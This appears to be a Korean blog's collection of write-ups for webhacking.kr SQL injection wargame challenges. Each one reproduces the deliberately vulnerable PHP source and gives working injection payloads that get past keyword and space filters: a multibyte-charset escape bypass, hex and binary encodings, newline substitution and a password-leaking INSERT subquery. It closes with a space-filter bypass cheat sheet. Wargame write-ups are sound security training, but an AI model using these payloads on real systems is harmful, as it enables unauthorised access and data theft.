<html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?
if(time()<1256900400) exit();
?>

<!-- index.phps -->

<?

$pw="?????";

if($_GET[id] && $_GET[pw])
{

$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');

$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));

if(eregi("admin",$_GET[id])) exit();
if(eregi("from",$_GET[id])) exit();
if(eregi("union",$_GET[id])) exit();
if(eregi("limit",$_GET[id])) exit();
if(eregi("union",$_GET[pw])) exit();
if(eregi("pw",$_GET[pw])) exit();
if(eregi("=",$_GET[pw])) exit();
if(eregi(">",$_GET[pw])) exit();
if(eregi("<",$_GET[pw])) exit();
if(eregi("from",$_GET[pw])) exit();


if($data)
{
echo("hi $data[0]<br><br>");

if($data[0]=="admin") @solve();
}


if(!$data)
{
echo("Wrong");
}

}

?>

</body>
</html>
 



50번 문제와 비슷하다. 

2018/09/11 - [WEB Hacking/webhacking.kr] - [webhacking.kr] 50번 :: /**/ SQL 인젝션 ㅡㅡ



이 문제도 id와 pw를 입력 받고 id 값을 mb_convert_encoding() 함수로 euc-kr -> utf-8 로 인코딩 방식을 변환했다.

mb_convert_encoding() 함수를 사용하면 %a1 ~ %fe 값이 백슬래시 앞에 오면 백슬래시를 먹어버린다. 

따라서 magic_quotes_gpc 또는 addslashes() 함수로 싱글쿼터를 이스케이프해도 우회할 수 있다.

2018/09/11 - [WEB Hacking/정리] - 멀티 바이트 언어셋 환경 :: addslashs(), magic_quotes_gpc 우회



SELECT id from members WHERE id='$_GET[id]' and pw=md5('$_GET[pw]')


id와 pw를 입력받아 해당 값을 쿼리로 전달한다. 

근데 웃긴게 필터를 쿼리 이후에 하네? 어쨋든 필터 문자를 입력하면 exit() 를 호출하기 때문에 우회해야한다.


# $_GET[id] 필터 문자

admin

from

union

limit


# $_GETpw] 필터 문자

union

pw

=, <, >

from


쿼리 결과 레코드가 존재하면 "hi 아이디 값" 를 출력한다.

쿼리 결과 id 값이 admin이면 해결된다.



id 값에는 admin이 올 수 없기 때문에 pw에서 admin을 입력해준다. 이때, 주석(/**/)을 사용한다.


SELECT id from members WHERE id='rap1erX'/*' and pw=md5('*/ or id like 0x61646d696e# ')

id = rapier%a1'%2F*

pw = *%2For id like 0x61646d696e%23



SELECT id from members WHERE id='rapierX'/* ' and pw=md5('*/ or id like 0x61646d696e# ')

SELECT id from members WHERE id='rapierX' or id like 0x61646d696e#


<html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
level : <input name=lv value=1><input type=submit>
</form>
<?
if(time()<1258110000) exit();

if($_GET[lv])
{
if(eregi("union",$_GET[lv])) exit();
if(eregi("from",$_GET[lv])) exit();
if(eregi("select",$_GET[lv])) exit();
if(eregi("or",$_GET[lv])) exit();
if(eregi("and",$_GET[lv])) exit();
if(eregi("\(",$_GET[lv])) exit();
if(eregi("\)",$_GET[lv])) exit();
if(eregi("limit",$_GET[lv])) exit();
if(eregi(",",$_GET[lv])) exit();
if(eregi("/",$_GET[lv])) exit();
if(eregi("by",$_GET[lv])) exit();
if(eregi("desc",$_GET[lv])) exit();
if(eregi("asc",$_GET[lv])) exit();
if(eregi("cash",$_GET[lv])) exit();
if(eregi(" ",$_GET[lv])) exit();
if(eregi("%09",$_GET[lv])) exit();

$q=@mysql_fetch_array(mysql_query("select id from members where lv=$_GET[lv]"));

echo($q[0]);
if($q[0]=="admin") @solve();

}
?>
<!-- index.phps -->
</body>
</html>

2009-11-13 20:00:00 

필터된 문자

union

from

select

or

and

(, )

limit

,

/

by

desc

asc

cash

공백

%09




SELECT id from members where lv=$_GET[lv]

id가 admin이면 된다. lv=1000 || id=0x61646d696e

공백은 %0a로 채워준다. lv=1000%0a||%0aid=0x61646d696e%23







<html>

<head>

<title>Challenge 29</title>

</head>

<body>

<hr>

hint<br><br>

<font size=1>select password from c29_tb<br><br>

$file_name=str_replace(".","",$file_name);<br><br>

blind sql injection으로 풀이하실경우 정답이 출력되지 않습니다.<br>

더 간단한 방법이 존재하니 그 방법을 이용해주세요.

</font>

<hr>


<form method=post enctype="multipart/form-data" action=index.php>

<input type=file name=upfile><input type=submit>

</form>


</body>

</html>


소스코드는 파일 첨부 기능과 .을 필터처리 하는 것 이외 별 기능이 없다.

임의 파일을 첨부해서 전송하면 시간, ip, file 값이 출력된다.

------------------------------------------------

   time        |         ip        |       file

------------------------------------------------

1535819609 | 49.142.97.190 | Packmanexe 

------------------------------------------------

1535819609 | 49.142.97.190 | Packmanexe 

------------------------------------------------


위 결과를 볼 때, INSERT 쿼리로 파일을 DB에 저장하고, SELECT로 출력했을 것이다.

1. INSERT INTO c29_tb (time, ip, file) VALUES ('$time', '$_SERVER["REMOTE_ADDR"]', '$file_name');

2. SELECT time, ip, file from c29_tb;



우리가 조작할 수 있는 것은 파일명이다.

또한 magic_quotes_gpc 옵션이 On이 되어있는데, 해당 옵션은 GET, POST, COOKIE 방식으로 전달받을 때 적용되고

$_FILE 변수로 전달받을 때는 적용안됨.



abc')# 로 파일명을 변경해서 전송했더니 upload error! 가 출력된다.

즉, INSERT 쿼리로 값을 저장할 때 칼럼의 순서가 다를수도 있다는 것이다.


INSERT INTO c29_tb (time, ip, file) VALUES ('$time', '$_SERVER["REMOTE_ADDR"]', '$file_name');  // upload error!

INSERT INTO c29_tb (time, ip, file) VALUES ('$time', '$file_name', '$_SERVER["REMOTE_ADDR"]');  // upload error!

INSERT INTO c29_tb (time, ip, file) VALUES ('$file_name', '$time', '$_SERVER["REMOTE_ADDR"]');  // Done


파일명이 첫번째 칼럼으로 지정되어 있다. 

따라서 파일명을 hellworld','153582527','123123')#로 변경후 전송했다.



업로드는 성공했는데 출력이 없었다. INSERT를 할 때 자료형을 맞춰서 전달해야하는 것 같다.

hellworld','153582527','111.222.333.444')#로 파일명을 변경해서 시도했지만 여전히 업로드한 파일이 출력되지 않았다.

2번째, 3번째 칼럼위치도 변경해서 시도했지만 마찬가지였다.


아....필터처리를 까먹었다. .을 필터처리하기 때문에 CHAR()함수를 사용해 전송했지만 

마찬가지로 해당파일을 출력한 화면을 볼 수 없었다.


SELECT 쿼리로 처리할 때 WHERE 구에 공인IP 주소를 조건으로 사용하는 것 같다.

나의 공인IP 주소를 CHAR() 함수로 변환해서 시도해봤다.


hellworld','153582527',CHAR(??,??,??,??,??,??,??,??,??,??,??,??,??))# 으로 전송하니 성공!

따라서 시간 칼럼 부분에 서브 쿼리로 (SELECT password FROM c29_tb)로 변경해서 전송하면 패스워드를 화면에서 볼 수 있다.


Hellworld!',(SELECT password from c29_tb),CHAR(??,??,??,??,??,??,??,??,??,??,??,??,??))#

IP는 소중하니까 물음표..


Password is 296eedfa0b5f4deab7cc8140cfc65dd8



<html>

<head>

<title>Challenge 27</title>

</head>

<body>

<h1>SQL INJECTION</h1>

<form method=get action=index.php>

<input type=text name=no><input type=submit>

</form>

<?

if($_GET[no])

{


if(eregi("#|union|from|challenge|select|\(|\t|/|limit|=|0x",$_GET[no])) exit("no hack");


$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");


if($q[id]=="guest") echo("guest");

if($q[id]=="admin") @solve();


}


?>

<!-- index.phps -->

</body>

</html>

필터 문자

#

union

from

challenge

select

(

\t

\

limit

0x

=


[쿼리]

SELECT id FROM challenge27_table WHERE id='guest' and no=($_GET[no])




쿼리 결과 관리자 id가 나오도록 해야함.

no=100 or id="admin" 를 삽입하려 했지만

따옴표 사용 X // magic_quotes_gpc 적용

0x 사용 금지 // 필터처리

char() 함수 사용 // 괄호( 필터처리

like 사용 가능!

# 주석도 필터이기 때문에 -- 사용


따라서 아래와 같이 공백부분을 %0a로 채워준다.

no=100) or id like 0b0110000101100100011011010110100101101110 -- 


100%29%0aor%0aid%0alike%0a0b0110000101100100011011010110100101101110%20--%20


 주의할 점은 -- 주석이 여태 그냥 사용해도 문제없는 줄 알았지만

%20--%20 처럼 앞 뒤 공백으로 채워줘야함.

<html>

<head>

<title>Challenge 7</title>

</head>

<body>

<!--

db에는 val=2가 존재하지 않습니다.

union을 이용하세요

-->

<?

$answer = "????";

$go=$_GET[val];

if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }

$ck=$go;

$ck=str_replace("*","",$ck);

$ck=str_replace("/","",$ck);


echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");


if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");

if(eregi(' ',$ck)) { echo('cannot use space'); exit(); }

$rand=rand(1,5);

if($rand==1)

{

$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");

}


if($rand==2)

{

$result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");

}


if($rand==3)

{

$result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");

}


if($rand==4)

{

$result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");

}


if($rand==5)

{

$result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");

}


$data=mysql_fetch_array($result);

if(!$data[0]) { echo("query error"); exit(); }

if($data[0]!=1 && $data[0]!=2) { exit(); }


if($data[0]==1)

{

echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=

alert('Access_Denied!')><p>");

echo("<!-- admin mode : val=2 -->");

}


if($data[0]==2)

{

echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=

alert('Congratulation')><p>");

@solve();


?>

<!--

index.phps

-->


</body>

</html>


코드를 분석하면, $_GET['val'] 값을 받아서 *, / 문자가 있는지 체크하고

eregi 함수로 --, 2, 50, \+, substring, from, infor, mation, lv, %20, =, !, <>, sysM, and, or, table, column, 공백을 필터한다. 


1~5 사이 랜덤 값을 rand 함수로 추출한다. 그후 생성된 값을 통해

쿼리문에 괄호개수가 정해진다.

// rand 함수 반환 값이 1일 때

SELECT lv FROM lv1 WHERE lv=($_GET['val'])


쿼리 결과 lv 값이 추출되는데 lv 값이 없으면 exit();

추출된 lv 값이 1 이면서 2이여도 exit();

lv 값이 2이면 성공


주의할 점은 실제 DB에 val=2가 존재하지 않으므로 UNION을 사용하라 명시되어있다.


따라서 $_GET['val'] 값에 0 union select (3-1) 가 되도록 시도한다.

SELECT lv FROM lv1 WHERE lv=( 0) union select (3-1    )

공백은 %0a(\n을 의미)로 우회하면된다.


0)%0aunion%0aselect%0a(3-1


근데 안풀려서 다른 사람이 한거 보니까 최근에 서버오류? 때문에 안된다고함..

괜히 시간버렸다ㅜㅜ


<html>

<head>

<title>Challenge 46</title>

</head>

<body>

<form method=get action=index.php>

level : <input name=lv value=1><input type=submit>

</form>

<?

if(time()<1256900400) exit();


?>

<!-- index.phps -->

<?


$_GET[lv]=str_replace(" ","",$_GET[lv]);

$_GET[lv]=str_replace("/","",$_GET[lv]);

$_GET[lv]=str_replace("*","",$_GET[lv]);

$_GET[lv]=str_replace("%","",$_GET[lv]);


if(eregi("union",$_GET[lv])) exit();

if(eregi("select",$_GET[lv])) exit();

if(eregi("from",$_GET[lv])) exit();

if(eregi("challenge",$_GET[lv])) exit();

if(eregi("0x",$_GET[lv])) exit();

if(eregi("limit",$_GET[lv])) exit();

if(eregi("cash",$_GET[lv])) exit();


$q=@mysql_fetch_array(mysql_query("select id,cash from members where lv=$_GET[lv]"));


if($q && $_GET[lv])

{

echo("$q[0] information<br><br>money : $q[1]");


if($q[0]=="admin") @solve();


}

?>


</body>

</html>


lv 파라미터 값을 전달하고 있다.(기본값 1).

또한, 전달되는 파라미터를 필터처리하는데 필터되는 문자는 공백, /, *, %, union, select, from, challenge, 0x, limit, cash 이다.


$q[0]은 $q['id']를 의미하며, $q['id']값이 admin이 되려면 파라미터에 0%09or%09id=char(97,100,109,105,110)# 를 입력하면된다.


입력폼에 입력하면 %부분을 %25로 인코딩하기 때문에 URL 에 직접입력하든

프록시 도구로 인터셉트해서 입력해야함.





<html> 
<head> 
<title>Challenge 18</title> 
<style type="text/css"> 
body { background:black; color:white; font-size:10pt; } 
input { background:silver; } 
a { color:lightgreen; } 
</style> 
</head> 
<body> 
<br><br> 
<center><h1>SQL INJECTION</h1> 
<form method=get action=index.php> 
<table border=0 align=center cellpadding=10 cellspacing=0> 
<tr><td><input type=text name=no></td><td><input type=submit></td></tr> 
</table> 
</form> 
<a style=background:gray;color:black;width:100;font-size:9pt;><b>RESULT</b><br> 
<? 
if($_GET[no]) 


if(
eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack"); 

$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]")); 

if(
$q[0]=="guest") echo ("hi guest"); 
if(
$q[0]=="admin"

@
solve(); 
echo (
"hi admin!"); 




?> 
</a> 
<br><br><a href=index.phps>index.phps</a> 
</cener> 
</body> 
</html> 


위 소스코드를 분석하면, eregi 함수를 사용해 $_GET['no'] 변수를 필터한다.

필터 문자로는 공백, /, (, ), 탭, |, &, union, select, from, 0x 이다.


[쿼리]

SELECT id FROM challenge18_table WHERE id='guest' and no=$_GET['no']


위와 같은 쿼리에서 $_GET['no'] 파라미터에 or no=admin계정의 no 값을 넣어주려고 했지만 no 값이 정확히 몇인지 모르고 귀찮아서 id='admin'을 해주려했지만 실패!


이유는? phpinfo() 값을 보니 magin_quotes_gpc 값이 On으로 설정돼있다.

따라서 싱글쿼터가 안들어가게 admin 을 넣어줘야한다. 


or id=0x61646d696e 를 $_GET['no']에 넣어주면 될 것 같지만 공백과 0x를 eregi함수에서 필터하기 때문에 실패!


char 함수로 admin문자를 만들어주려고 했지만 괄호까지 eregi 함수에서 필터하기 때문에 id를 이용한 SQL 인젝션은 포기하고 no 값을 0부터 하나하나 차근차근 넣기 시작


no=100%0aor%0ano=2 를 넣어보니 성공!



# 공백 우회 문자


1. Tab : %09

  - no=1%09or%09id='admin'

 

2. Line Feed (\n): %0a

  - no=1%0aor%0aid='admin'

 

3. Carrage Return(\r) : %0d

  - no=1%0dor%0did='admin'

 

4. 주석 : /**/

  - no=1/**/or/**/id='admin'

 

5. 괄호 : ()

  - no=(1)or(id='admin')

 

6. 더하기 : +

  - no=1+or+id='admin'


'WEB Hacking > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 07번 SQL 인젝션 UNION  (0) 2018.08.31
[webhacking.kr] 46번 SQL 인젝션 CHAR()  (0) 2018.08.29
[webhacking.kr] 39번 SQL 인젝션  (0) 2018.08.28
[webhacking.kr] 26번  (0) 2018.08.24
[webhacking.kr] 20번  (0) 2018.08.24

+ Recent posts